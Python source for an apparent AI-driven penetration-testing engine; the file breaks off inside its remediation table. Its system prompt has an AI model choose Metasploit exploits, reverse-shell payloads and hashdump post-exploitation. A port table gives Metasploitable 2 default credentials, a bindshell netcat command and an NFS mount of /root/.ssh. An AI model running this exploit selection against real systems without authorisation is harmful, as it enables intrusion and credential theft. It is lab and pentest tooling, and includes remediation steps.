"""
MCP Agent — AI-Powered Penetration Testing Decision Engine
==========================================================
Supports: Google Gemini (free), Anthropic Claude (paid)
Falls back to rule-based logic if no API key is configured.

FIXES APPLIED (v2.1):
- .env loading now OVERRIDES existing env vars (docker env may be stale)
- Auto-detect provider with correct priority: Gemini → Anthropic
- Fallback chain: if Gemini 503s, try Anthropic, then rules
- Added: analyse_attack_chain(), select_payload(), generate_rc_script_v2()
- Added: ai_select_nse_scripts() — dynamic NSE selection from banners
- Added: ai_decide_web_scans() — smart nikto/sqlmap/wpscan targeting
- Added: ai_prioritise_exploits() — CVSS+MSF+KEV exploit ranking
- Added: ai_decide_scan_depth() — Phase 0 results → scan profile
- All HTTP errors now logged with status code + response body
- call_ai() tries ALL providers with real fallback, not just the first
"""

import os
import json
import re
import requests
import logging
import time

logger = logging.getLogger("mcp_agent")

# ---------------------------------------------------------------------------
# .env loading — MUST override env vars (Docker env may have stale keys)
# ---------------------------------------------------------------------------

def _load_dotenv():
    """Load .env file. OVERRIDES existing env vars so fresh keys always win."""
    for env_path in ["/app/.env", "/app/ai_api.env", ".env", "../.env"]:
        if os.path.exists(env_path):
            logger.info(f"[ENV] Loading {env_path}")
            with open(env_path) as f:
                for line in f:
                    line = line.strip()
                    if line and not line.startswith('#') and '=' in line:
                        k, v = line.split('=', 1)
                        k = k.strip()
                        v = v.strip().strip('"').strip("'")
                        if k and v:
                            os.environ[k] = v  # OVERRIDE — fresh key wins
                            logger.info(f"[ENV] Set {k}={'*' * min(len(v), 8)}...")

_load_dotenv()

# ---------------------------------------------------------------------------
# Provider Configuration — read AFTER .env load
# ---------------------------------------------------------------------------

GEMINI_API_KEY = os.environ.get("GEMINI_API_KEY", "")
ANTHROPIC_API_KEY = os.environ.get("ANTHROPIC_API_KEY", "")

# Auto-detect provider: env var > first available key
_env_provider = os.environ.get("AI_PROVIDER", "").lower().strip()
if _env_provider and _env_provider != "none":
    AI_PROVIDER = _env_provider
elif ANTHROPIC_API_KEY and ANTHROPIC_API_KEY not in ("notset", "YOUR_ANTHROPIC_API_KEY_HERE", ""):
    AI_PROVIDER = "anthropic"
elif GEMINI_API_KEY:
    AI_PROVIDER = "gemini"
else:
    AI_PROVIDER = "none"

# Log what we detected
logger.info(f"[MCP] AI_PROVIDER={AI_PROVIDER} | Gemini={'YES' if GEMINI_API_KEY else 'NO'} | "
            f"Anthropic={'YES' if ANTHROPIC_API_KEY and ANTHROPIC_API_KEY != 'notset' else 'NO'}")

# API endpoints — Gemma 4 has 1500 RPD vs gemini-2.5-flash's 20 RPD on free tier
GEMINI_API_BASE = "https://generativelanguage.googleapis.com/v1beta/models/"
GEMINI_MODELS_LIST = ["gemma-4-26b-a4b-it", "gemma-4-31b-it", "gemini-2.5-flash"]
ANTHROPIC_URL = "https://api.anthropic.com/v1/messages"

# ---------------------------------------------------------------------------
# System Prompt — instructs the AI to think like a pentester
# ---------------------------------------------------------------------------

SYSTEM_PROMPT = """You are an expert penetration tester AI agent integrated into an automated scanning framework.
You receive scan results (open ports, service versions, NSE script output, CVE data) and must decide the next actions.

Your job is to analyze the data and return a JSON response with your decisions. You MUST respond with ONLY valid JSON, no markdown, no backticks, no explanation outside the JSON.

Response format:
{
  "reasoning": "Your step-by-step analysis of the scan data",
  "exploits": [
    {
      "port": 445,
      "service": "microsoft-ds",
      "module": "exploit/windows/smb/ms17_010_eternalblue",
      "payload": "windows/x64/meterpreter/reverse_tcp",
      "reason": "NSE confirmed ms17-010 vulnerability, CVSS 9.8",
      "priority": "critical",
      "needs_lhost": true
    }
  ],
  "web_scans": [
    {
      "port": 80,
      "tool": "nikto",
      "reason": "HTTP service detected, need to enumerate web vulnerabilities"
    }
  ],
  "remediation": [
    {
      "port": 445,
      "service": "microsoft-ds",
      "cves": ["CVE-2017-0144"],
      "linux_commands": ["sudo apt update && sudo apt upgrade samba", "sudo ufw deny 445"],
      "windows_commands": ["Install MS17-010 patch", "Set-SmbServerConfiguration -EnableSMB1Protocol $false"],
      "explanation": "Critical SMB vulnerability allowing remote code execution"
    }
  ],
  "post_exploitation": [
    {
      "action": "hashdump",
      "reason": "Extract password hashes after session established"
    }
  ]
}

Rules:
1. Only suggest exploits for confirmed vulnerabilities (NSE output or CVSS >= 7.0)
2. For web ports (80, 443, 8080, 8443), always recommend nikto scan first
3. If SQLMap parameters are found by nikto, recommend sqlmap
4. If WordPress is detected, recommend wpscan
5. Prioritize by CVSS score — critical first
6. Include specific Metasploit module paths, not generic names
7. Always provide remediation for every finding
8. If a service version is old/EOL, flag it even without a specific CVE
9. CRITICAL PAYLOAD RULE: The following backdoor modules MUST have needs_lhost=false and payload="" because they open a direct shell and WILL FAIL with any payload set:
   - exploit/unix/ftp/vsftpd_234_backdoor (port 21, vsftpd 2.3.4)
   - exploit/unix/ftp/proftpd_133c_backdoor (port 21/2121, ProFTPD 1.3.3c)
   - exploit/multi/samba/usermap_script (port 139/445, Samba 3.0.20)
   - exploit/linux/samba/is_known_pipename (port 139/445, Samba 3.5.x)
   - exploit/unix/irc/unreal_ircd_3281_backdoor (port 6667, UnrealIRCd 3.2.8.1)
10. For reverse shell exploits (distcc_exec, java_rmi, tomcat_mgr_upload, ms17_010, php_cgi), set needs_lhost=true
11. Port 1524 on Metasploitable 2 is a root bindshell — note this but don't need an MSF module

METASPLOITABLE 2 KNOWLEDGE BASE (use when target shows these signatures):
- Port 21 vsftpd 2.3.4 → exploit/unix/ftp/vsftpd_234_backdoor (NO PAYLOAD, direct root shell)
- Port 22 OpenSSH 4.7p1 → SSH login with msfadmin/msfadmin (weak creds)
- Port 23 Linux telnetd → telnet login with msfadmin/msfadmin
- Port 25 Postfix smtpd → user enumeration via VRFY/EXPN
- Port 53 ISC BIND 9.4.2 → auxiliary/gather/dns_info
- Port 80 Apache 2.2.8 + PHP 5.2.4 → exploit/multi/http/php_cgi_arg_injection + nikto
- Port 111 rpcbind → NFS mount enumeration (showmount -e TARGET)
- Port 139/445 Samba 3.0.20 → exploit/multi/samba/usermap_script (NO PAYLOAD, direct root)
- Port 512 rexec → auxiliary/scanner/rservices/rexec_login (msfadmin/msfadmin)
- Port 513 rlogin → auxiliary/scanner/rservices/rlogin_login
- Port 514 rsh → auxiliary/scanner/rservices/rsh_login
- Port 1099 Java RMI → exploit/multi/misc/java_rmi_server + java/meterpreter/reverse_tcp
- Port 1524 bindshell → Direct root shell: nc TARGET 1524 (no MSF needed)
- Port 2049 NFS → showmount -e + mount -t nfs TARGET:/ /tmp/mnt (often exposes /root/.ssh)
- Port 2121 ProFTPD 1.3.1 → exploit/unix/ftp/proftpd_modcopy_exec (SITE CPFR/CPTO)
- Port 3306 MySQL 5.0.51a → root with no password, auxiliary/scanner/mysql/mysql_login
- Port 3632 distccd → exploit/unix/misc/distcc_exec + cmd/unix/reverse_bash (NEEDS LHOST)
- Port 5432 PostgreSQL 8.3 → postgres/postgres default creds, auxiliary/scanner/postgres/postgres_login
- Port 5900 VNC → password "password", auxiliary/scanner/vnc/vnc_login
- Port 6000 X11 → open display, auxiliary/scanner/x11/open_x11
- Port 6667 UnrealIRCd 3.2.8.1 → exploit/unix/irc/unreal_ircd_3281_backdoor (NO PAYLOAD, root shell)
- Port 8009 AJP → Ghostcat LFI (if Tomcat)
- Port 8180 Apache Tomcat 5.5 → tomcat/tomcat default creds + exploit/multi/http/tomcat_mgr_upload
- Port 8787 Ruby DRb → exploit/linux/misc/drb_remote_codeexec
- NFS export: mount -t nfs TARGET:/ /tmp/nfs — often contains /root/.ssh/authorized_keys
"""

# ---------------------------------------------------------------------------
# Backdoor modules that must NEVER get LHOST/PAYLOAD
# ---------------------------------------------------------------------------

NO_PAYLOAD_MODULES = {
    # These modules open a direct shell — setting PAYLOAD causes "payload not compatible" errors
    "exploit/unix/ftp/vsftpd_234_backdoor",
    "exploit/unix/ftp/proftpd_133c_backdoor",
    "exploit/multi/samba/usermap_script",
    "exploit/linux/samba/is_known_pipename",
    "exploit/unix/irc/unreal_ircd_3281_backdoor",
}

# ---------------------------------------------------------------------------
# AI Provider Calls — each logs HTTP errors properly
# ---------------------------------------------------------------------------

# Global rate limiter for Gemini free tier (15 RPM)
_last_gemini_call = 0
_GEMINI_MIN_INTERVAL = 5  # seconds between calls

def _call_gemini(prompt: str) -> str:
    """Call Google Gemini API — tries multiple models in order.
    Gemma 4 27B has 1500 RPD vs gemini-2.5-flash's 20 RPD on free tier."""
    if not GEMINI_API_KEY:
        return ""
    global _last_gemini_call
    # Rate limit: wait if calling too fast
    elapsed = time.time() - _last_gemini_call
    if elapsed < _GEMINI_MIN_INTERVAL:
        time.sleep(_GEMINI_MIN_INTERVAL - elapsed)
    _last_gemini_call = time.time()

    logger.info(f"[GEMINI] Calling API (prompt: {len(prompt)} chars)")
    payload = {
        "contents": [{"parts": [{"text": SYSTEM_PROMPT + "\n\n" + prompt}]}],
        "generationConfig": {"temperature": 0.1, "maxOutputTokens": 8192},
    }
    for model in GEMINI_MODELS_LIST:
        try:
            url = f"{GEMINI_API_BASE}{model}:generateContent?key={GEMINI_API_KEY}"
            resp = requests.post(url, json=payload, timeout=8)
            if resp.status_code == 200:
                data = resp.json()
                if "candidates" in data and data["candidates"]:
                    parts = data["candidates"][0]["content"]["parts"]
                    # Gemma 4 returns thinking parts (thought=true) — skip them
                    text = ""
                    for part in parts:
                        if not part.get("thought"):
                            text = part.get("text", "").strip()
                            if text:
                                break
                    if not text and parts:
                        text = parts[-1].get("text", "").strip()
                    if text:
                        logger.info(f"[GEMINI/{model}] Got {len(text)} chars")
                        _last_gemini_call = time.time()
                        return text
                logger.info(f"[GEMINI/{model}] No candidates, trying next")
                continue
            if resp.status_code == 429:
                logger.warning(f"[GEMINI/{model}] 429 rate-limited — trying next model")
                continue
            if resp.status_code == 404:
                logger.info(f"[GEMINI/{model}] 404 not found — trying next model")
                continue
            logger.error(f"[GEMINI/{model}] HTTP {resp.status_code}: {resp.text[:200]}")
            continue
        except requests.exceptions.Timeout:
            logger.error(f"[GEMINI/{model}] Timeout (8s)")
            break
        except Exception as e:
            logger.error(f"[GEMINI/{model}] Error: {e}")
            break
    return ""


def _call_anthropic(prompt: str) -> str:
    """Call Anthropic Claude API (paid)."""
    if not ANTHROPIC_API_KEY or ANTHROPIC_API_KEY == "notset":
        return ""
    try:
        logger.info(f"[ANTHROPIC] Calling API (prompt: {len(prompt)} chars)")
        resp = requests.post(
            ANTHROPIC_URL,
            headers={
                "x-api-key": ANTHROPIC_API_KEY,
                "anthropic-version": "2023-06-01",
                "Content-Type": "application/json",
            },
            json={
                "model": "claude-sonnet-4-6",
                "max_tokens": 4096,
                "system": SYSTEM_PROMPT,
                "messages": [{"role": "user", "content": prompt}],
            },
            timeout=8,
        )
        if resp.status_code != 200:
            body = resp.text[:500]
            logger.error(f"[ANTHROPIC] HTTP {resp.status_code}: {body}")
            return ""
        data = resp.json()
        text = data["content"][0]["text"].strip()
        logger.info(f"[ANTHROPIC] Got {len(text)} chars")
        return text
    except requests.exceptions.Timeout:
        logger.error("[ANTHROPIC] Request timed out (60s)")
        return ""
    except Exception as e:
        logger.error(f"[ANTHROPIC] API error: {e}")
        return ""


# ---------------------------------------------------------------------------
# Core AI Call — Fallback Chain: tries ALL providers
# ---------------------------------------------------------------------------

def call_ai(prompt: str) -> str:
    """Route to AI provider with automatic fallback. Tries ALL available providers."""
    # Global kill-switch: if DISABLE_MCP_AI=1, skip AI entirely and return ""
    # immediately so every caller falls through to rule-based logic. This is
    # the normal mode since AI is now only used in the 4 whitelisted features
    # (ai_helpers.py). This function is kept for legacy callers.
    if os.environ.get("DISABLE_MCP_AI", "1") == "1":
        logger.info("[AI] DISABLE_MCP_AI=1 — skipping AI, using rule-based")
        return ""
    # Build ordered list based on configured provider
    all_providers = [
        (_call_gemini,    GEMINI_API_KEY,    "gemini"),
        (_call_anthropic, ANTHROPIC_API_KEY,  "anthropic"),
    ]
    # Put configured provider first
    if AI_PROVIDER == "anthropic":
        all_providers.sort(key=lambda x: 0 if x[2] == "anthropic" else 1)
    # Default order: gemini first (already in position 0)

    for fn, key, name in all_providers:
        if not key or key == "notset":
            logger.info(f"[AI] Skipping {name} — no key")
            continue
        try:
            logger.info(f"[AI] Trying {name}...")
            result = fn(prompt)
            if result and result.strip():
                logger.info(f"[AI] ✓ Response from {name} ({len(result)} chars)")
                return result
            logger.warning(f"[AI] {name} returned empty — trying next provider")
        except Exception as e:
            logger.error(f"[AI] {name} failed: {e} — trying next provider")

    logger.error("[AI] ✗ All providers failed — using rule-based fallback")
    return ""


# ---------------------------------------------------------------------------
# JSON Parser — handles markdown fences, truncation, etc.
# ---------------------------------------------------------------------------

def _parse_json(text: str) -> dict:
    """Extract JSON from AI response — handles markdown fences, preamble, truncation."""
    if not text:
        return {}

    # Strip markdown code fences (```json ... ```)
    text = re.sub(r"^```(?:json)?\s*\n?", "", text.strip())
    text = re.sub(r"\n?\s*```\s*$", "", text.strip())

    # Try direct parse first
    try:
        return json.loads(text)
    except json.JSONDecodeError:
        pass

    # Find the outermost JSON object
    brace_start = text.find("{")
    if brace_start == -1:
        logger.warning(f"[JSON] No JSON object found: {text[:200]}")
        return {}

    brace_end = text.rfind("}")
    if brace_end == -1 or brace_end <= brace_start:
        json_text = text[brace_start:]
        open_braces = json_text.count("{") - json_text.count("}")
        open_brackets = json_text.count("[") - json_text.count("]")
        json_text = re.sub(r',\s*$', '', json_text)
        json_text = re.sub(r':\s*$', ': ""', json_text)
        json_text = re.sub(r'"[^"]*$', '"', json_text)
        json_text += "]" * max(0, open_brackets) + "}" * max(0, open_braces)
    else:
        json_text = text[brace_start:brace_end + 1]

    try:
        return json.loads(json_text)
    except json.JSONDecodeError:
        json_text = re.sub(r',\s*"[^"]*"\s*:\s*\[?\s*$', '', json_text)
        json_text = re.sub(r',\s*\{[^}]*$', '', json_text)
        open_braces = json_text.count("{") - json_text.count("}")
        open_brackets = json_text.count("[") - json_text.count("]")
        json_text += "]" * max(0, open_brackets) + "}" * max(0, open_braces)
        try:
            return json.loads(json_text)
        except json.JSONDecodeError:
            logger.warning(f"[JSON] Could not parse: {text[:300]}")
            return {}


# ---------------------------------------------------------------------------
# DYNAMIC AI DECISION FUNCTIONS
# ---------------------------------------------------------------------------

def ai_decide_scan_depth(discovery_results: dict, emit_fn=None) -> str:
    """
    Phase 0 → AI decides scan profile based on discovery results.
    Returns: "quick" | "standard" | "full" | "stealth"
    """
    emit = emit_fn or (lambda msg: logger.info(msg))
    hosts = discovery_results.get("live_hosts", [])

    if not hosts:
        return "standard"

    prompt = f"""Based on these network discovery results, choose the optimal scan profile.

DISCOVERED HOSTS ({len(hosts)}):
{json.dumps([{
    "ip": h["ip"],
    "ttl": h.get("ttl"),
    "hops": h.get("hops", 0),
    "os_guess": h.get("os_guess", "unknown"),
    "zone_hint": h.get("zone_hint", "unknown"),
} for h in hosts], indent=1)}

Choose ONE scan profile and respond with ONLY JSON:
{{
  "profile": "quick|standard|full|stealth",
  "reasoning": "brief explanation",
  "focus_ports": "port range recommendation e.g. 1-1000 or 1-65535"
}}

Rules:
- 1 host, common network = "standard" (default)
- 1 host, unusual TTL or high hop count = "full" (thorough)
- Multiple hosts = "full" (need to map everything)
- IDS/WAF indicators = "stealth" (evasion)
- Simple home/lab network = "quick" (fast)"""

    result = call_ai(prompt)
    if result:
        parsed = _parse_json(result)
        if parsed and "profile" in parsed:
            profile = parsed["profile"]
            emit(f"[AI-DECISION] Scan profile: {profile} — {parsed.get('reasoning', '')[:100]}")
            return profile

    # Rule-based fallback
    if len(hosts) > 3:
        return "full"
    elif len(hosts) == 1:
        return "standard"
    return "standard"


def ai_select_nse_scripts(services: list, emit_fn=None) -> dict:
    """
    Phase 3 — AI selects NSE scripts based on service banners.
    Instead of static PORT_SCRIPTS map, AI looks at actual banners.

    Returns: {"port": ["script1", "script2", ...], ...}
    """
    emit = emit_fn or (lambda msg: logger.info(msg))

    if not services:
        return {}

    # Build compact service list
    svc_list = []
    for s in services:
        svc_list.append({
            "port": s["port"],
            "service": s.get("service", ""),
            "banner": s.get("banner", ""),
            "product": s.get("product", ""),
            "version": s.get("version", ""),
        })

    prompt = f"""Select the most effective nmap NSE scripts for each service based on the version banners.

SERVICES:
{json.dumps(svc_list, indent=1)}

Respond with ONLY JSON mapping port to script list:
{{
  "21": ["ftp-vsftpd-backdoor", "ftp-anon"],
  "80": ["http-shellshock", "http-enum", "http-sql-injection"],
  ...
}}

Rules:
- If banner says "vsftpd 2.3.4" → MUST include "ftp-vsftpd-backdoor"
- If banner says "Apache" → include "http-shellshock", "http-enum"
- If banner says "OpenSSH 4.x" → include "sshv1", "ssh2-enum-algos"
- If banner says "Samba 3.0" → include "smb-vuln-ms17-010", "smb-vuln-cve-2017-7494"
- If banner says "UnrealIRCd" → include "irc-unrealircd-backdoor"
- If MySQL detected → include "mysql-empty-password", "mysql-vuln-cve2012-2122"
- If WordPress detected → include "http-wordpress-enum", "http-wordpress-users"
- Max 15 scripts per port
- Only suggest real nmap NSE scripts that exist on Kali Linux"""

    result = call_ai(prompt)
    if result:
        parsed = _parse_json(result)
        if parsed and isinstance(parsed, dict):
            # Validate: ensure values are lists of strings
            clean = {}
            for port, scripts in parsed.items():
                if isinstance(scripts, list):
                    clean[str(port)] = [s for s in scripts if isinstance(s, str)][:15]
            if clean:
                emit(f"[AI-NSE] AI selected scripts for {len(clean)} ports")
                return clean

    emit("[AI-NSE] AI unavailable — using rule-based NSE selection")
    return {}


def ai_decide_web_scans(services: list, nse_findings: dict, emit_fn=None) -> list:
    """
    Between Phase 4 and 5 — AI decides which web ports need nikto/sqlmap/wpscan.

    Returns: list of {"port": "80", "tools": ["nikto", "sqlmap"], "reason": "..."}
    """
    emit = emit_fn or (lambda msg: logger.info(msg))

    web_svcs = [s for s in services if s.get("service", "") in
                ("http", "https", "http-proxy", "ssl/http") or
                s["port"] in ("80", "443", "8080", "8443", "8000", "8180", "3000")]

    if not web_svcs:
        return []

    # Build context from NSE findings
    web_context = []
    for s in web_svcs:
        key = f"{s['ip']}:{s['port']}"
        findings = nse_findings.get(key, [])
        web_context.append({
            "port": s["port"],
            "banner": s.get("banner", ""),
            "nse_findings": findings[:5],
        })

    prompt = f"""Based on these web services and their NSE findings, decide which tools to run on each port.

WEB SERVICES:
{json.dumps(web_context, indent=1)}

Respond with ONLY JSON:
{{
  "scans": [
    {{
      "port": "80",
      "tools": ["nikto", "sqlmap"],
      "reason": "Apache detected with possible SQL injection from NSE"
    }}
  ]
}}

Rules:
- Always run nikto on HTTP ports
- Run sqlmap ONLY if NSE found sql-injection indicators or forms
- Run wpscan ONLY if WordPress is detected in banner/NSE
- If directory listing found → focus sqlmap on discovered paths
- If phpmyadmin detected → add sqlmap with specific target"""

    result = call_ai(prompt)
    if result:
        parsed = _parse_json(result)
        if parsed and "scans" in parsed:
            emit(f"[AI-WEB] AI recommended {len(parsed['scans'])} web scan target(s)")
            return parsed["scans"]

    # Fallback: nikto on all web ports
    return [{"port": s["port"], "tools": ["nikto"], "reason": "HTTP service detected"}
            for s in web_svcs]


def ai_prioritise_exploits(ai_exploits: list, cve_data: dict, emit_fn=None) -> list:
    """
    Phase 6 — AI prioritises which exploits to run first.
    Considers: CVSS score, has MSF module, target OS, KEV status.
    Returns sorted exploit list.
    """
    emit = emit_fn or (lambda msg: logger.info(msg))

    if not ai_exploits:
        return ai_exploits

    prompt = f"""Prioritise these exploits by likelihood of success and impact.

EXPLOITS:
{json.dumps(ai_exploits[:15], indent=1)}

CVE DATA:
{json.dumps({k: v[:3] for k, v in list(cve_data.items())[:10]}, indent=1)}

Respond with ONLY JSON:
{{
  "ordered_exploits": [
    {{
      "module": "exploit/unix/ftp/vsftpd_234_backdoor",
      "port": 21,
      "priority": "critical",
      "reason": "Guaranteed shell — known backdoor",
      "success_probability": "high"
    }}
  ]
}}

Rules:
- Backdoor exploits (vsftpd, unreal_ircd, samba usermap) = highest priority (guaranteed shells)
- CVSS >= 9.0 = critical priority
- CISA KEV = critical priority (actively exploited in the wild)
- Auxiliary scanners = lower priority
- Consider target OS: don't suggest Windows exploits for Linux targets"""

    result = call_ai(prompt)
    if result:
        parsed = _parse_json(result)
        if parsed and "ordered_exploits" in parsed:
            emit(f"[AI-EXPLOIT] AI prioritised {len(parsed['ordered_exploits'])} exploit(s)")
            return parsed["ordered_exploits"]

    return ai_exploits


# ---------------------------------------------------------------------------
# Rule-Based Fallback (when no AI is available)
# ---------------------------------------------------------------------------

# Common Metasploit modules mapped by service/port
EXPLOIT_DB = {
    21: {
        "service": "ftp",
        "modules": [
            {"module": "exploit/unix/ftp/vsftpd_234_backdoor", "payload": "",
             "match": r"vsftpd 2\.3\.4", "reason": "vsFTPd 2.3.4 backdoor — guaranteed shell",
             "needs_lhost": False},
            {"module": "exploit/unix/ftp/proftpd_133c_backdoor", "payload": "",
             "match": r"proftpd.*1\.3\.3", "reason": "ProFTPD 1.3.3c backdoor",
             "needs_lhost": False},
        ],
    },
    22: {
        "service": "ssh",
        "modules": [
            {"module": "auxiliary/scanner/ssh/ssh_login", "payload": "",
             "match": r"ssh|openssh", "reason": "SSH brute-force with common credentials",
             "needs_lhost": False},
        ],
    },
    23: {
        "service": "telnet",
        "modules": [
            {"module": "auxiliary/scanner/telnet/telnet_login", "payload": "",
             "match": r"telnet", "reason": "Telnet brute-force — cleartext protocol",
             "needs_lhost": False},
        ],
    },
    25: {
        "service": "smtp",
        "modules": [
            {"module": "auxiliary/scanner/smtp/smtp_enum", "payload": "",
             "match": r"smtp|postfix", "reason": "SMTP user enumeration",
             "needs_lhost": False},
        ],
    },
    80: {
        "service": "http",
        "modules": [
            {"module": "exploit/multi/http/php_cgi_arg_injection", "payload": "php/meterpreter/reverse_tcp",
             "match": r"php|apache", "reason": "PHP CGI argument injection",
             "needs_lhost": True},
        ],
    },
    139: {
        "service": "netbios-ssn",
        "modules": [
            {"module": "exploit/multi/samba/usermap_script", "payload": "",
             "match": r"samba.*3\.0\.2", "reason": "Samba 3.0.20 username map script command execution",
             "needs_lhost": False},
        ],
    },
    445: {
        "service": "microsoft-ds",
        "modules": [
            {"module": "exploit/windows/smb/ms17_010_eternalblue", "payload": "windows/x64/meterpreter/reverse_tcp",
             "match": r"ms17.010|smb.*vuln", "reason": "MS17-010 EternalBlue — critical RCE",
             "needs_lhost": True},
            {"module": "exploit/multi/samba/usermap_script", "payload": "",
             "match": r"samba.*3\.0\.2", "reason": "Samba 3.0.20 username map script",
             "needs_lhost": False},
        ],
    },
    512: {
        "service": "rexec",
        "modules": [
            {"module": "auxiliary/scanner/rservices/rexec_login", "payload": "",
             "match": r"exec|rexec", "reason": "R-services brute-force",
             "needs_lhost": False},
        ],
    },
    513: {
        "service": "rlogin",
        "modules": [
            {"module": "auxiliary/scanner/rservices/rlogin_login", "payload": "",
             "match": r"login|rlogin", "reason": "Rlogin brute-force — no encryption",
             "needs_lhost": False},
        ],
    },
    514: {
        "service": "rshell",
        "modules": [
            {"module": "auxiliary/scanner/rservices/rsh_login", "payload": "",
             "match": r"shell|rsh", "reason": "RSH brute-force",
             "needs_lhost": False},
        ],
    },
    1099: {
        "service": "java-rmi",
        "modules": [
            {"module": "exploit/multi/misc/java_rmi_server", "payload": "java/meterpreter/reverse_tcp",
             "match": r"java|rmi", "reason": "Java RMI server deserialization RCE",
             "needs_lhost": True},
        ],
    },
    1524: {
        "service": "bindshell",
        "modules": [
            # Metasploitable 2: port 1524 is a root bindshell — connect directly with nc/netcat
            {"module": "auxiliary/scanner/portscan/tcp", "payload": "",
             "match": r"bindshell|ingreslock|shell", "reason": "Port 1524 is a root bindshell on Metasploitable 2 — connect directly: nc TARGET 1524",
             "needs_lhost": False},
        ],
    },
    2049: {
        "service": "nfs",
        "modules": [
            {"module": "auxiliary/scanner/nfs/nfsmount", "payload": "",
             "match": r"nfs", "reason": "NFS share enumeration",
             "needs_lhost": False},
        ],
    },
    2121: {
        "service": "ftp",
        "modules": [
            {"module": "exploit/unix/ftp/proftpd_133c_backdoor", "payload": "",
             "match": r"proftpd|ftp", "reason": "ProFTPD backdoor",
             "needs_lhost": False},
        ],
    },
    3306: {
        "service": "mysql",
        "modules": [
            {"module": "auxiliary/scanner/mysql/mysql_login", "payload": "",
             "match": r"mysql", "reason": "MySQL brute-force with default credentials",
             "needs_lhost": False},
            {"module": "exploit/multi/mysql/mysql_udf_payload", "payload": "linux/x86/meterpreter/reverse_tcp",
             "match": r"mysql", "reason": "MySQL UDF payload injection",
             "needs_lhost": True},
        ],
    },
    3632: {
        "service": "distccd",
        "modules": [
            {"module": "exploit/unix/misc/distcc_exec", "payload": "cmd/unix/reverse_bash",
             "match": r"distcc", "reason": "DistCC daemon command execution — guaranteed RCE",
             "needs_lhost": True},
        ],
    },
    5432: {
        "service": "postgresql",
        "modules": [
            {"module": "auxiliary/scanner/postgres/postgres_login", "payload": "",
             "match": r"postgres", "reason": "PostgreSQL brute-force",
             "needs_lhost": False},
        ],
    },
    5900: {
        "service": "vnc",
        "modules": [
            {"module": "auxiliary/scanner/vnc/vnc_login", "payload": "",
             "match": r"vnc", "reason": "VNC brute-force — often has weak/no password",
             "needs_lhost": False},
        ],
    },
    6000: {
        "service": "x11",
        "modules": [
            {"module": "auxiliary/scanner/x11/open_x11", "payload": "",
             "match": r"x11", "reason": "X11 open display — screenshot/keylog possible",
             "needs_lhost": False},
        ],
    },
    6667: {
        "service": "irc",
        "modules": [
            # UnrealIRCd 3.2.8.1 backdoor — triggered by sending "AB" prefix. No payload needed.
            {"module": "exploit/unix/irc/unreal_ircd_3281_backdoor", "payload": "",
             "match": r"unreal|irc|3\.2\.8\.1", "reason": "UnrealIRCd 3.2.8.1 backdoor — guaranteed root shell, no payload needed",
             "needs_lhost": False},
        ],
    },
    6697: {
        "service": "irc",
        "modules": [
            {"module": "exploit/unix/irc/unreal_ircd_3281_backdoor", "payload": "",
             "match": r"unreal|irc|ssl", "reason": "UnrealIRCd 3.2.8.1 SSL IRC backdoor",
             "needs_lhost": False},
        ],
    },
    8009: {
        "service": "ajp",
        "modules": [
            {"module": "auxiliary/admin/http/tomcat_ghostcat", "payload": "",
             "match": r"ajp|apache.*jserv", "reason": "Ghostcat AJP file read/include (CVE-2020-1938)",
             "needs_lhost": False},
        ],
    },
    8180: {
        "service": "http",
        "modules": [
            {"module": "exploit/multi/http/tomcat_mgr_upload", "payload": "java/meterpreter/reverse_tcp",
             "match": r"tomcat|apache.*coyote", "reason": "Tomcat manager upload — WAR deployment RCE",
             "needs_lhost": True},
        ],
    },
    8787: {
        "service": "drb",
        "modules": [
            {"module": "exploit/linux/misc/drb_remote_codeexec", "payload": "cmd/unix/reverse_bash",
             "match": r"drb|ruby", "reason": "Ruby DRb remote code execution",
             "needs_lhost": True},
        ],
    },
}

# Remediation templates
REMEDIATION_DB = {
    "ftp": {
        "linux": ["sudo apt update && sudo apt upgrade vsftpd proftpd-basic",
                   "# Disable anonymous FTP:", "sudo sed -i 's/anonymous_enable=YES/anonymous_enable=NO/' /etc/vsftpd.conf",
                   "sudo systemctl restart vsftpd",
                   "# Use SFTP instead of FTP:", "sudo ufw deny 21"],
        "windows": ["# Disable FTP if not needed:", "Uninstall-WindowsFeature Web-Ftp-Server",
                     "# Or upgrade IIS FTP and disable anonymous access"],
    },
    "ssh": {
        "linux": ["sudo apt update && sudo apt upgrade openssh-server",
                   "# Disable root login:", "sudo sed -i 's/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config",
                   "# Use key-based auth:", "sudo sed -i 's/#PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config",
                   "sudo systemctl restart sshd"],
        "windows": ["# Update OpenSSH:", "winget upgrade Microsoft.OpenSSH.Server"],
    },
    "telnet": {
        "linux": ["# DISABLE TELNET — use SSH instead:", "sudo apt remove telnetd",
                   "sudo ufw deny 23"],
        "windows": ["# Disable Telnet:", "Disable-WindowsOptionalFeature -Online -FeatureName TelnetServer"],
    },
    "http": {
        "linux": ["sudo apt update && sudo apt upgrade apache2 nginx",
                   "# Enable ModSecurity WAF:", "sudo apt install libapache2-mod-security2",
                   "sudo a2enmod security2 && sudo systemctl restart apache2",
                   "# Disable directory listing:", "sudo sed -i 's/Options Indexes/Options -Indexes/' /etc/apache2/apache2.conf"],
        "windows": ["# Update IIS and enable Request Filtering",
                     "# Install URL Rewrite module for WAF rules"],
    },
    "microsoft-ds": {
        "linux": ["sudo apt update && sudo apt upgrade samba",
                   "# Disable SMBv1:", "sudo sed -i '/\\[global\\]/a\\   min protocol = SMB2' /etc/samba/smb.conf",
                   "sudo systemctl restart smbd"],
        "windows": ["# Install MS17-010 patch:", "wusa.exe /install /kb:4012212",
                     "# Disable SMBv1:", "Set-SmbServerConfiguration -EnableSMB1Protocol $false",
                     "# Block port 445 externally:", "New-NetFirewallRule -DisplayName 'Block SMB' -Direction Inbound -LocalPort 445 -Protocol TCP -Action Block"],
    },
    "mysql": {
        "linux": ["sudo apt update && sudo apt upgrade mysql-server",
                   "# Run security hardening:", "sudo mysql_secure_installation",
                   "# Bind to localhost only:", "sudo sed -i 's/bind-address.*/bind-address = 127.0.0.1/' /etc/mysql/mysql.conf.d/mysqld.cnf",
                   "sudo systemctl restart mysql"],
        "windows": ["# Update MySQL via installer", "# Restrict remote access in my.ini"],
    },
    "irc": {
        "linux": ["# Remove UnrealIRCd if not needed:", "sudo apt remove unrealircd",
                   "# Or upgrade to latest version and verify binary checksums"],
        "windows": ["# Remove IRC server if not needed"],
    },
    "vnc": {
        "linux": ["# Set strong VNC password:", "vncpasswd",
                   "# Use SSH tunneling for VNC:", "ssh -L 5900:localhost:5900 user@host",
